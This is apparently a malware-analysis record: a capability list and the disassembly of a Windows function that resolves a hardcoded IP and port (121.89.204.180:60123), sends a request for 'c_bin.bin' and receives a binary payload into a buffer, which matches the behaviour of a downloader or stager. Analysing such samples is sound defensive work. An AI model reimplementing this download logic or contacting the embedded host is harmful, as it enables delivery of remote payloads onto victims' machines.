Function at 0x140001390
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x12e0]
mov eax, 0x13e0
call fcn.140006fb0
sub rsp, rax
xor r14d, r14d
lea rdx, [rbp + 0x70]
mov r15, r9
mov qword [rbp + 0x1318], r14
mov rsi, 0xffffffffffffffff
lea r9, str.121.89.204.180
lea rcx, [rbp + 0x1318]
mov qword [rsp + 0x20], rsi
lea r8d, [r14 + 0xf]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
xor edx, edx
mov qword [rbp + 0x1320], r14
mov r8d, 0x103
mov byte [rsp + 0x60], r14b
lea rcx, [rsp + 0x61]
mov rdi, rsi
call sub.VCRUNTIME140.dll_memset
lea rdx, str.GET__
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.c_bin.bin
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp + 0x2e0]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
lea rdx, [rbp + 0x140]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001479
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140001330
xor eax, eax
add rsp, 0x13e0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
xorps xmm0, xmm0
mov dword [rsp + 0x30], r14d
xorps xmm1, xmm1
mov dword [rsp + 0x34], 2
lea r9, [rbp + 0x1320]
mov dword [rsp + 0x38], 1
lea r8, [rsp + 0x30]
mov dword [rsp + 0x3c], 6
lea rdx, str.60123
lea rcx, str.121.89.204.180
movdqu xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1400014f1
mov edx, eax
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.140001330
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add rsp, 0x13e0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x1410], rbx
mov rbx, qword [rbp + 0x1320]
test rbx, rbx
je 0x14000157f
nop word [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, rsi
je 0x1400015a6
lea r8, str.60123
lea rdx, str.121.89.204.180
lea rcx, str.___Connect_to__s:_s
call fcn.140001330
mov r8d, dword [rbx + 0x10]
mov rcx, rdi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, esi
jne 0x140001578
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140001510
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
jmp 0x14000158d
mov rbx, qword [rbp + 0x1320]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, rsi
jne 0x1400015c7
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001330
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000170d
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140001330
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000170d
lea rax, [rsp + 0x60]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], r14b
jne 0x1400015d0
mov r8, rsi
lea rdx, [rsp + 0x60]
xor r9d, r9d
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x14000161c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.140001330
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000170d
mov edx, eax
lea rcx, str._n___Sent__ld_Bytes_n
call fcn.140001330
mov edx, 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x140001667
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.140001330
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000170d
xor edx, edx
mov r8d, 0x61a80
mov rcx, r15
call sub.VCRUNTIME140.dll_memset
nop word [rax + rax]
xor r9d, r9d
lea rdx, [rbp + 0x2e0]
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rsi, eax
test eax, eax
jle 0x1400016d7
mov edx, esi
lea rcx, str.___Received__d_Bytes_n
call fcn.140001330
mov r8, rsi
lea rdx, [rbp + 0x2e0]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
add r14d, esi
lea rcx, str.___Received_total__d_Bytes_n
mov edx, r14d
add r15, rsi
call fcn.140001330
jmp 0x140001680
je 0x1400016ef
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call fcn.140001330
jmp 0x1400016fb
lea rcx, str.___Connection_closed_n
call fcn.140001330
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, r14d
mov rbx, qword [rsp + 0x1410]
add rsp, 0x13e0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret